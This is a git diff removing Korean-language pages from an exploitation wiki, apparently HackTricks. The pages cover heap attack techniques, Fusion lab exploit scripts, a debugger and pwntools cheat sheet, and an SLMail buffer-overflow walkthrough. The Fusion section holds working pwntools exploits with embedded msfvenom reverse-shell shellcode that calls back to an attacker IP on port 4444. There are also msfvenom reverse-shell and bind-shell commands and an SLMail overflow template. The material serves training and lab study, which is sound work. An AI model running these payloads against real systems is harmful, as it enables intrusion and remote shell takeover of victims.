방법을 살펴보겠습니다. - -또 다른 공격 방법은 **av**를 스택으로 리디렉션하는 것입니다. - -size를 8 대신 16으로 수정하면 fastbin_index()는 fastbins\[0]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다. - -이 경우 canary나 이상한 값이 스택에 없어야 하며, 실제로는 다음과 같은 상태여야 합니다: 4바이트 null + EBP + RET - -4바이트 null은 **av**가 이 주소에 있어야 하며, **av**의 첫 번째 요소는 0이어야 하는 mutex입니다. - -**av->max_fast**는 EBP가 되고, 이는 제약을 우회하는 데 유용한 값이 됩니다. - -**av->fastbins\[0]**는 **p**의 주소로 덮어쓰여지며, RET가 되어 shellcode로 점프하게 됩니다. - -또한, **av->system_mem** (스택 위치에서 1484바이트 위)에는 검사를 우회할 수 있는 많은 쓰레기가 있습니다. - -또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다). - -**The House of Spirit** - -이 경우 공격자가 변경할 수 있는 malloc에 대한 포인터를 얻는 것이 목표입니다 (예: 포인터가 스택에 있어 변수에 대한 오버플로우가 발생할 수 있습니다). - -이렇게 하면 이 포인터가 원하는 곳을 가리키도록 만들 수 있습니다. 그러나 유효한 위치는 아니며, 가짜 조각의 크기는 av->max_fast보다 작아야 하며, 더 구체적으로는 향후 malloc() 호출에서 요청된 크기 + 8과 같아야 합니다. 따라서 이 취약한 포인터 뒤에 malloc(40)을 호출할 것이라면, 가짜 조각의 크기는 48이어야 합니다. - -예를 들어 프로그램이 사용자에게 숫자를 요청한다면 48을 입력하여 malloc 포인터를 다음 4바이트(운 좋게도 EBP에 속할 수 있음)로 가리키게 할 수 있습니다. 이렇게 하면 48이 뒤에 남아 마치 헤더 size처럼 보이게 됩니다. 또한 ptr-4+48 주소는 여러 조건을 충족해야 합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system_mem. - -이 조건이 충족되면, 다음 malloc 호출이 malloc(40)일 때 이 주소가 EBP 주소로 할당됩니다. 공격자가 이 malloc에 쓰는 것을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다. - -이것은 free()가 EBP 스택 주소에 대한 새로운 malloc() 요청을 위해 완벽한 크기의 조각이 있다는 것을 기억하게 하여 그 주소를 할당하기 때문입니다. - -**The House of Force** - -필요한 것: - -- wilderness를 덮어쓸 수 있는 오버플로우 -- 사용자 정의 크기로 malloc() 호출 -- 사용자 정의 데이터로 malloc() 호출 - -먼저 wilderness 조각의 size를 매우 큰 값(0xffffffff)으로 덮어씁니다. 이렇게 하면 충분히 큰 메모리 요청은 \_int_malloc()에서 처리되며 힙을 확장할 필요가 없습니다. - -두 번째로 av->top을 공격자가 제어할 수 있는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다. - -우리는 av->top을 덮어쓰고 공격자가 제어할 수 있는 메모리 영역을 가리키도록 해야 합니다: - -victim = av->top; - -remainder = chunck_at_offset(victim, nb); - -av->top = remainder; - -Victim은 현재 wilderness 조각의 주소(현재 av->top)의 값을 가져오고, remainder는 그 주소에 malloc() 요청된 바이트 수를 더한 것입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top이 0x080c2788을 포함하고 있다면, 다음 malloc()을 위해 av->top이 $EIP-8을 가리키도록 하려면 malloc에서 예약해야 할 양은: - -0xbffff224 - 0x080c2788 = 3086207644. - -이렇게 하면 av->top에 변경된 값이 저장되고 다음 malloc이 EIP를 가리키고 이를 덮어쓸 수 있습니다. - -중요한 것은 새로운 wilderness 조각의 size가 마지막 malloc() 요청보다 커야 한다는 것입니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, size는 스택의 EBP 필드에 정확히 위치하게 됩니다. - -**The House of Lore** - -**SmallBin 손상** - -해제된 조각은 크기에 따라 bin에 삽입됩니다. 그러나 삽입되기 전에 unsorted bins에 저장됩니다. 조각이 해제되면 즉시 bin에 들어가지 않고 unsorted bins에 남아 있습니다. 그 다음, 새로운 조각이 예약되고 이전에 해제된 조각이 유용하다면 반환되지만, 더 큰 조각이 예약되면 unsorted bins의 해제된 조각이 적절한 bin에 들어갑니다. - -취약한 코드를 도달하기 위해 메모리 요청은 av->max_fast(보통 72)보다 커야 하며 MIN_LARGE_SIZE(512)보다 작아야 합니다. - -bin에 요청된 크기에 적합한 조각이 있다면, 이를 해제한 후 반환합니다: - -bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다. - -bin->bk = bck; 이전 조각이 마지막 조각이 되며, bck가 스택을 가리키면 다음 예약된 조각에 이 주소가 제공됩니다. - -bck->fd = bin; 이 리스트를 닫아 bin을 가리키게 합니다. - -필요한 것: - -두 개의 malloc을 예약하여 첫 번째가 두 번째가 해제된 후 오버플로우할 수 있도록 하여야 합니다 (즉, 두 번째 조각보다 큰 malloc을 예약한 후 오버플로우해야 합니다). - -공격자가 선택한 주소를 가진 malloc은 공격자가 제어할 수 있어야 합니다. - -목표는 다음과 같습니다. 만약 우리가 해제된 힙에 오버플로우를 할 수 있고 그 아래에 이미 해제된 조각이 있다면, bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 이 조각이 bin의 첫 번째가 되면, 예약 시 bin을 속여 다음 조각이 우리가 설정한 잘못된 주소에 있다고 생각하게 할 수 있습니다 (스택이나 GOT 등). 따라서 다른 조각을 다시 예약하면 공격자가 원하는 위치에 조각을 할당받고 그곳에 쓸 수 있습니다. - -변경된 조각을 해제한 후에는 해제된 조각보다 큰 조각을 예약해야 하며, 그렇게 하면 수정된 조각이 unsorted bins에서 제거되고 적절한 bin에 들어갑니다. - -bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 우리가 덮어쓰고자 하는 주소를 가리키도록 합니다. - -따라서 bin은 malloc()이 충분히 호출되어 수정된 bin이 다시 사용될 때까지 대기해야 하며, bin을 속여 다음 조각이 잘못된 주소에 있다고 생각하게 해야 합니다. 그 다음에 우리가 원하는 조각이 제공됩니다. - -이 취약점을 가능한 한 빨리 실행하기 위해서는 다음과 같은 순서가 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정(취약점), 수정된 조각과 같은 크기의 조각 예약, 두 번째 조각 예약하여 이 조각이 선택한 주소를 가리키게 합니다. - -이 공격을 방어하기 위해 일반적인 확인이 사용됩니다. 즉, 조각이 “가짜”가 아닌지 확인합니다: bck->fd가 victim을 가리키고 있는지 확인합니다. 즉, 우리의 경우 스택에서 가리키는 fd* 포인터가 victim을 가리키고 있는지 확인합니다. 이 보호를 우회하기 위해 공격자는 아마도 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다 (아마도 스택을 통해) 그렇게 하면 진짜 조각처럼 보이게 됩니다. - -**LargeBin 손상** - -이전과 동일한 요구 사항이 필요하며, 추가로 예약된 조각은 512보다 커야 합니다. - -공격은 이전과 유사하며, bk 포인터를 수정해야 하며, 모든 malloc() 호출이 필요하지만, 수정된 조각의 size를 nb보다 작게 만들어야 합니다. - -예를 들어 size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록 합니다 (뺄셈이 음수가 되어서는 안 되며, unsigned를 비교합니다). - -또한 이를 더욱 복잡하게 만들기 위해 패치가 도입되었습니다. - -**힙 스프레이** - -기본적으로 가능한 모든 메모리를 예약하고 이를 nops로 채운 후 shellcode로 채우는 것입니다. 또한, 0x0c를 패딩으로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 하며, 만약 이 주소가 덮어쓰여지면 그곳으로 점프하게 됩니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있기를 기대하는 것입니다. - -**힙 펑 슈이** - -예약 및 해제를 통해 메모리를 조작하여 자유 조각 사이에 예약된 조각이 있도록 합니다. 오버플로우할 버퍼는 이 중 하나에 위치하게 됩니다. - -**objdump -d 실행파일** —> 함수 디스어셈블\ -**objdump -d ./프로그램 | grep 함수** —> 함수 주소 가져오기\ -**objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes를 추출합니다.\ -**objdump -t ./exec | grep varBss** —> 심볼 테이블, 변수 및 함수 주소 추출\ -**objdump -TR ./exec | grep exit(func lib)** —> 라이브러리 함수 주소 추출 (GOT)\ -**objdump -d ./exec | grep funcCode**\ -**objdump -s -j .dtors /exec**\ -**objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> GOT에서 덮어쓸 puts 주소 추출\ -**objdump -D ./exec** —> plt의 항목까지 모든 것을 디스어셈블\ -**objdump -p -/exec**\ -**Info functions strncmp —>** gdb에서 함수 정보 - -## 흥미로운 과정 - -- [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) -- [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) -- [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) - -## **참고 문헌** - -- [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md deleted file mode 100644 index 536f233ed..000000000 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ /dev/null @@ -1,60 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} - -# Level00 - -[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) - -1. EIP를 수정하기 위한 오프셋 가져오기 -2. EIP에 쉘코드 주소 넣기 -```python -from pwn import * - -r = remote("192.168.85.181", 20000) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0xbffff440) # Stack address where the shellcode will be saved -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.recvline() -r.send(buf) -r.interactive() -``` -# Level01 -```python -from pwn import * - -r = remote("192.168.85.181", 20001) - -buf = "GET " # Needed -buf += "A"*139 # Offset 139 -buf += p32(0x08049f4f) # Adress of: JMP esp -buf += p32(0x9090E6FF) # OPCODE: JMP esi (the esi register have the address of the shellcode) -buf += " HTTP/1.1" # Needed -buf += "\x90"*100 # NOPs - -#msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.85.178 LPORT=4444 -a x86 --platform linux -b '\x00\x2f' -f python -buf += "\xdb\xda\xb8\x3b\x50\xff\x66\xd9\x74\x24\xf4\x5a\x2b" -buf += "\xc9\xb1\x12\x31\x42\x17\x83\xea\xfc\x03\x79\x43\x1d" -buf += "\x93\x4c\xb8\x16\xbf\xfd\x7d\x8a\x2a\x03\x0b\xcd\x1b" -buf += "\x65\xc6\x8e\xcf\x30\x68\xb1\x22\x42\xc1\xb7\x45\x2a" -buf += "\x12\xef\xe3\x18\xfa\xf2\x0b\x4d\xa7\x7b\xea\xdd\x31" -buf += "\x2c\xbc\x4e\x0d\xcf\xb7\x91\xbc\x50\x95\x39\x51\x7e" -buf += "\x69\xd1\xc5\xaf\xa2\x43\x7f\x39\x5f\xd1\x2c\xb0\x41" -buf += "\x65\xd9\x0f\x01" - -r.send(buf) -r.interactive() -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md deleted file mode 100644 index c7c494607..000000000 --- a/src/exploiting/tools/README.md +++ /dev/null @@ -1,210 +0,0 @@ -# Exploiting Tools - -{{#include ../../banners/hacktricks-training.md}} - -## Metasploit -``` -pattern_create.rb -l 3000 #Length -pattern_offset.rb -l 3000 -q 5f97d534 #Search offset -nasm_shell.rb -nasm> jmp esp #Get opcodes -msfelfscan -j esi /opt/fusion/bin/level01 -``` -### 쉘코드 -``` -msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c -``` -## GDB - -### 설치 -``` -apt-get install gdb -``` -### 매개변수 -```bash --q # No show banner --x # Auto-execute GDB instructions from here --p # Attach to process -``` -### 지침 -```bash -run # Execute -start # Start and break in main -n/next/ni # Execute next instruction (no inside) -s/step/si # Execute next instruction -c/continue # Continue until next breakpoint -p system # Find the address of the system function -set $eip = 0x12345678 # Change value of $eip -help # Get help -quit # exit - -# Disassemble -disassemble main # Disassemble the function called main -disassemble 0x12345678 # Disassemble taht address -set disassembly-flavor intel # Use intel syntax -set follow-fork-mode child/parent # Follow child/parent process - -# Breakpoints -br func # Add breakpoint to function -br *func+23 -br *0x12345678 -del # Delete that number of breakpoint -watch EXPRESSION # Break if the value changes - -# info -info functions --> Info abount functions -info functions func --> Info of the funtion -info registers --> Value of the registers -bt # Backtrace Stack -bt full # Detailed stack -print variable -print 0x87654321 - 0x12345678 # Caculate - -# x/examine -examine/ dir_mem/reg/puntero # Shows content of in where each entry is a -x/o 0xDir_hex -x/2x $eip # 2Words from EIP -x/2x $eip -4 # $eip - 4 -x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes) -i r eip # Value of $eip -x/w pointer # Value of the pointer -x/s pointer # String pointed by the pointer -x/xw &pointer # Address where the pointer is located -x/i $eip # Instructions of the EIP -``` -### [GEF](https://github.com/hugsy/gef) -```bash -help memory # Get help on memory command -canary # Search for canary value in memory -checksec #Check protections -p system #Find system function address -search-pattern "/bin/sh" #Search in the process memory -vmmap #Get memory mappings -xinfo # Shows page, size, perms, memory area and offset of the addr in the page -memory watch 0x784000 0x1000 byte #Add a view always showinf this memory -got #Check got table -memory watch $_got()+0x18 5 #Watch a part of the got table - -# Vulns detection -format-string-helper #Detect insecure format strings -heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap - -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp - -#Shellcode -shellcode search x86 #Search shellcodes -shellcode get 61 #Download shellcode number 61 - -#Another way to get the offset of to the RIP -1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it -2- ef➤ i f -Stack level 0, frame at 0x7fffffffddd0: -rip = 0x400cd3; saved rip = 0x6261617762616176 -called by frame at 0x7fffffffddd8 -Arglist at 0x7fffffffdcf8, args: -Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 -Saved registers: -rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 -gef➤ pattern search 0x6261617762616176 -[+] Searching for '0x6261617762616176' -[+] Found at offset 184 (little-endian search) likely -``` -### Tricks - -#### GDB 동일 주소 - -디버깅 중 GDB는 **실행될 때 바이너리에서 사용되는 주소와 약간 다른 주소를 가집니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행하십시오: - -- `unset env LINES` -- `unset env COLUMNS` -- `set env _=` _바이너리의 절대 경로를 입력하세요_ -- 동일한 절대 경로를 사용하여 바이너리를 익스플로잇합니다. -- GDB를 사용할 때와 바이너리를 익스플로잇할 때 `PWD`와 `OLDPWD`는 동일해야 합니다. - -#### 호출된 함수 찾기 위한 백트레이스 - -**정적 링크 바이너리**가 있을 때 모든 함수는 바이너리에 속하며(외부 라이브러리에는 속하지 않음) 이 경우 **바이너리가 사용자 입력을 요청하는 흐름을 식별하기 어려울 수 있습니다.**\ -이 흐름은 **gdb**로 바이너리를 실행하여 입력을 요청할 때까지 쉽게 식별할 수 있습니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인하십시오: -``` -gef➤ bt -#0 0x00000000004498ae in ?? () -#1 0x0000000000400b90 in ?? () -#2 0x0000000000400c1d in ?? () -#3 0x00000000004011a9 in ?? () -#4 0x0000000000400a5a in ?? () -``` -### GDB 서버 - -`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 합니다) - -## Ghidra - -### 스택 오프셋 찾기 - -**Ghidra**는 **로컬 변수의 위치에 대한 정보 덕분에 버퍼 오버플로우에 대한 **오프셋**을 찾는 데 매우 유용합니다.**\ -예를 들어, 아래 예제에서 `local_bc`의 버퍼 흐름은 `0xbc`의 오프셋이 필요함을 나타냅니다. 또한, `local_10`이 카나리 쿠키인 경우, `local_bc`에서 이를 덮어쓰려면 `0xac`의 오프셋이 필요함을 나타냅니다.\ -_저장된 RIP의 첫 번째 0x08은 RBP에 속합니다._ - -![](<../../images/image (616).png>) - -## GCC - -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 없이 컴파일\ -**-o** --> 출력\ -**-g** --> 코드 저장 (GDB가 이를 볼 수 있음)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux에서 ASLR 비활성화 - -**쉘코드를 컴파일하려면:**\ -**nasm -f elf assembly.asm** --> ".o" 반환\ -**ld assembly.o -o shellcodeout** --> 실행 파일 - -## Objdump - -**-d** --> **실행 파일** 섹션을 **디스어셈블** (컴파일된 쉘코드의 opcodes 보기, ROP Gadgets 찾기, 함수 주소 찾기...)\ -**-Mintel** --> **Intel** 구문\ -**-t** --> **기호** 테이블\ -**-D** --> **모두 디스어셈블** (정적 변수의 주소)\ -**-s -j .dtors** --> dtors 섹션\ -**-s -j .got** --> got 섹션\ -\-D -s -j .plt --> **plt** 섹션 **디컴파일**\ -**-TR** --> **재배치**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT에서 수정할 "puts"의 주소\ -**objdump -D ./exec | grep "VAR_NAME"** --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨). - -## 코어 덤프 - -1. 프로그램을 시작하기 전에 `ulimit -c unlimited` 실행 -2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 실행 -3. sudo gdb --core=\ --quiet 실행 - -## 더 많은 정보 - -**ldd executable | grep libc.so.6** --> 주소 (ASLR가 활성화된 경우 매번 변경됨)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 주소가 많이 변경되는지 확인하기 위한 루프\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system"의 오프셋\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh"의 오프셋 - -**strace executable** --> 실행 파일에 의해 호출된 함수\ -**rabin2 -i ejecutable -->** 모든 함수의 주소 - -## **Inmunity 디버거** -```bash -!mona modules #Get protections, look for all false except last one (Dll of SO) -!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) -``` -## IDA - -### 원격 리눅스에서 디버깅 - -IDA 폴더 안에는 리눅스에서 바이너리를 디버깅하는 데 사용할 수 있는 바이너리가 있습니다. 그렇게 하려면 _linux_server_ 또는 _linux_server64_ 바이너리를 리눅스 서버 안으로 이동시키고 바이너리가 포함된 폴더 안에서 실행하세요: -``` -./linux_server64 -Ppass -``` -그런 다음 디버거를 구성합니다: Debugger (linux remote) --> Proccess options...: - -![](<../../images/image (101).png>) - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md deleted file mode 100644 index d0109f65b..000000000 --- a/src/exploiting/tools/pwntools.md +++ /dev/null @@ -1,146 +0,0 @@ -{{#include ../../banners/hacktricks-training.md}} -``` -pip3 install pwntools -``` -# Pwn asm - -라인이나 파일에서 opcodes를 가져옵니다. -``` -pwn asm "jmp esp" -pwn asm -i -``` -**선택할 수 있는 항목:** - -- 출력 유형 (raw, hex, string, elf) -- 출력 파일 컨텍스트 (16, 32, 64, linux, windows...) -- 바이트 피하기 (새 줄, null, 목록) -- gdb를 사용하여 디버그 셸코드를 인코딩하고 출력 선택 - -# **Pwn checksec** - -Checksec 스크립트 -``` -pwn checksec -``` -# Pwn constgrep - -# Pwn cyclic - -패턴 가져오기 -``` -pwn cyclic 3000 -pwn cyclic -l faad -``` -**선택할 수 있는 항목:** - -- 사용된 알파벳 (기본적으로 소문자 문자) -- 고유 패턴의 길이 (기본값 4) -- 컨텍스트 (16,32,64,linux,windows...) -- 오프셋 가져오기 (-l) - -# Pwn 디버그 - -프로세스에 GDB 연결 -``` -pwn debug --exec /bin/bash -pwn debug --pid 1234 -pwn debug --process bash -``` -**선택할 수 있습니다:** - -- 실행 파일, 이름 또는 pid 컨텍스트(16,32,64,linux,windows...) -- 실행할 gdbscript -- sysrootpath - -# Pwn disablenx - -바이너리의 nx 비활성화 -``` -pwn disablenx -``` -# Pwn disasm - -디스어셈블 hex opcodes -``` -pwn disasm ffe4 -``` -**선택할 수 있습니다:** - -- 컨텍스트 (16,32,64,리눅스,윈도우...) -- 기본 주소 -- 색상(기본)/무색 - -# Pwn elfdiff - -두 파일 간의 차이를 출력합니다. -``` -pwn elfdiff -``` -# Pwn hex - -16진수 표현 얻기 -```bash -pwn hex hola #Get hex of "hola" ascii -``` -# Pwn phd - -hexdump 가져오기 -``` -pwn phd -``` -**선택할 수 있는 항목:** - -- 표시할 바이트 수 -- 하이라이트 바이트당 바이트 수 -- 시작 부분의 바이트 건너뛰기 - -# Pwn pwnstrip - -# Pwn scrable - -# Pwn shellcraft - -쉘코드 가져오기 -``` -pwn shellcraft -l #List shellcodes -pwn shellcraft -l amd #Shellcode with amd in the name -pwn shellcraft -f hex amd64.linux.sh #Create in C and run -pwn shellcraft -r amd64.linux.sh #Run to test. Get shell -pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port -``` -**선택할 수 있는 항목:** - -- 쉘코드 및 쉘코드에 대한 인수 -- 출력 파일 -- 출력 형식 -- 디버그 (쉘코드에 dbg 첨부) -- 이전 (코드 이전에 디버그 트랩) -- 이후 -- opcodes 사용 피하기 (기본값: null 및 새 줄 아님) -- 쉘코드 실행 -- 색상/무색상 -- 시스템 호출 목록 -- 가능한 쉘코드 목록 -- ELF를 공유 라이브러리로 생성 - -# Pwn 템플릿 - -파이썬 템플릿 가져오기 -``` -pwn template -``` -**선택할 수 있는 항목:** 호스트, 포트, 사용자, 비밀번호, 경로 및 조용함 - -# Pwn unhex - -16진수에서 문자열로 -``` -pwn unhex 686f6c61 -``` -# Pwn 업데이트 - -pwntools를 업데이트하려면 -``` -pwn update -``` -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md deleted file mode 100644 index 98eec4950..000000000 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ /dev/null @@ -1,237 +0,0 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) - -{{#include ../banners/hacktricks-training.md}} - -## **SLMail 서비스 설치 시작** - -## SLMail 서비스 재시작 - -SLMail 서비스를 **재시작**해야 할 때마다 Windows 콘솔을 사용하여 할 수 있습니다: -``` -net start slmail -``` -![](<../images/image (23) (1).png>) - -## 매우 기본적인 파이썬 익스플로잇 템플릿 -```python -#!/usr/bin/python - -import socket - -s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) -ip = '10.11.25.153' -port = 110 - -buffer = 'A' * 2700 -try: -print "\nLaunching exploit..." -s.connect((ip, port)) -data = s.recv(1024) -s.send('USER username' +'\r\n') -data = s.recv(1024) -s.send('PASS ' + buffer + '\r\n') -print "\nFinished!." -except: -print "Could not connect to "+ip+":"+port -``` -## **Immunity Debugger 글꼴 변경** - -`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`로 이동합니다. - -## **Immunity Debugger에 프로세스 연결:** - -**File --> Attach** - -![](<../images/image (24) (1) (1).png>) - -**그리고 START 버튼을 누릅니다.** - -## **익스플로잇을 전송하고 EIP에 영향을 미치는지 확인:** - -![](<../images/image (25) (1) (1).png>) - -서비스를 중단할 때마다 이 페이지의 시작 부분에 표시된 대로 서비스를 다시 시작해야 합니다. - -## EIP를 수정하기 위한 패턴 생성 - -패턴은 이전에 서비스를 중단하는 데 사용한 버퍼만큼 커야 합니다. - -![](<../images/image (26) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 -``` -버퍼를 변경하고 패턴을 설정한 후 익스플로잇을 실행하세요. - -새로운 충돌이 발생해야 하며, 하지만 다른 EIP 주소가 있어야 합니다: - -![](<../images/image (27) (1) (1).png>) - -주소가 패턴에 있는지 확인하세요: - -![](<../images/image (28) (1) (1).png>) -``` -/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 -``` -**버퍼의 오프셋 2606에서 EIP를 수정할 수 있는 것 같습니다.** - -익스플로잇의 버퍼를 수정하여 확인해 보세요: -``` -buffer = 'A'*2606 + 'BBBB' + 'CCCC' -``` -이 버퍼로 EIP가 충돌하면 42424242("BBBB")를 가리켜야 합니다. - -![](<../images/image (30) (1) (1).png>) - -![](<../images/image (29) (1) (1).png>) - -작동하는 것 같습니다. - -## 스택 내에서 Shellcode 공간 확인 - -600B는 강력한 shellcode에 충분해야 합니다. - -버퍼를 변경해 봅시다: -``` -buffer = 'A'*2606 + 'BBBB' + 'C'*600 -``` -새로운 익스플로잇을 실행하고 EBP와 유용한 쉘코드의 길이를 확인하세요. - -![](<../images/image (31) (1).png>) - -![](<../images/image (32) (1).png>) - -취약점에 도달했을 때 EBP가 쉘코드를 가리키고 있으며, 여기에서 쉘코드를 배치할 수 있는 공간이 많다는 것을 알 수 있습니다. - -이 경우 **0x0209A128에서 0x0209A2D6까지 = 430B.** 충분합니다. - -## 나쁜 문자 확인 - -버퍼를 다시 변경하세요: -``` -badchars = ( -"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" -"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" -"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" -"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" -"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" -"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" -"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" -"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" -"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" -"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" -"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" -"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" -"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" -"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" -"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" -"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff" -) -buffer = 'A'*2606 + 'BBBB' + badchars -``` -나쁜 문자(badchars)는 0x01에서 시작합니다. 0x00은 거의 항상 나쁩니다. - -이 새로운 버퍼로 취약점을 반복 실행하여 쓸모없는 문자를 삭제합니다: - -예를 들어: - -이 경우 **0x0A 문자를 사용하지 않아야 함**을 알 수 있습니다(0x09 문자가 메모리에 저장되지 않음). - -![](<../images/image (33) (1).png>) - -이 경우 **0x0D 문자가 피함**을 알 수 있습니다: - -![](<../images/image (34) (1).png>) - -## JMP ESP를 반환 주소로 찾기 - -사용: -``` -!mona modules #Get protections, look for all false except last one (Dll of SO) -``` -당신은 **메모리 맵을 나열할 것입니다**. 다음과 같은 DLl을 검색하십시오: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (35) (1).png>) - -이제 이 메모리 안에서 JMP ESP 바이트를 찾아야 합니다. 이를 위해 다음을 실행하십시오: -``` -!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes 